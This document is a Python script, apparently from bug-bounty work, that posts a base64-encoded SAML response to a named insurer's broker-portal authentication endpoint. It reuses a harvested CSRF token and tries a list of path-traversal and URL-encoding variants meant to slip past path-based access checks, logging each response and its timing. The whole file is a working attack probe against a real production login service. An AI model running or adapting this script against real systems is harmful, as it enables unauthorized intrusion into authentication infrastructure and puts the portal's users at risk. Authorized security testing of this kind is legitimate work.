from curl_cffi import requests
import time,json,base64
from lxml import etree
host='maklerportal.baloise.de'
s=requests.Session(impersonate='chrome')
h={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache'}
s.get(f'https://{host}/auth/',headers=h,timeout=20,toadex_capture=False)
csrf=s.cookies.get('CSRFT759-S',domain='.baloise.de') or s.cookies.get('CSRFT759-S')
h.update({'X-Same-Domain':'1','X-CSRFT759':csrf,'Content-Type':'application/x-www-form-urlencoded','Accept':'application/json, application/vnd.api+json'})
xml=open('work/scratch/next/01a1c48b-4665-7004-a34f-1207f93ecb7c.xml','rb').read(); b64=base64.b64encode(xml).decode()
paths=[
'/auth/rest/public/baloise/saml2/transform',
'/auth/rest/public/baloise/saml2/transform?d=/ui/',
'/auth/rest/public/baloise/saml2/transform?%2Fui%2F=x',
'/auth/rest/public/baloise/saml2/transform;x=ui',
'/auth/rest/public/baloise/saml2/./transform',
'/auth/rest/public/baloise/saml2/ui/../transform',
'/auth/rest/public/baloise/saml2/ui/%2e%2e/transform',
'/auth/rest/public/baloise/saml2/ui/%252e%252e/transform',
'/auth/rest/public/baloise/saml2/transform/../ui/../transform',
'/auth/rest/public/baloise/saml2/transform/%2e%2e/ui/%2e%2e/transform',
'/auth/rest/public/baloise/saml2/transform;d=%2Fui%2F',
'/auth/rest/public/baloise/saml2/transform;d=%252Fui%252F',
'/auth/rest/public/baloise/saml2/transform?d=//ui//',
]
for p in paths:
 t=time.perf_counter()
 try:
  r=s.post('https://'+host+p,headers=h,data={'context':'Easylogin','SAMLResponse':b64},timeout=15,allow_redirects=False,toadex_capture=False)
  print(json.dumps({'path':p,'status':r.status_code,'ms':round((time.perf_counter()-t)*1000,2),'size':len(r.content),'loc':r.headers.get('location'),'body':r.text[:80]}))
 except Exception as e: print(json.dumps({'path':p,'error':str(e),'ms':round((time.perf_counter()-t)*1000,2)}))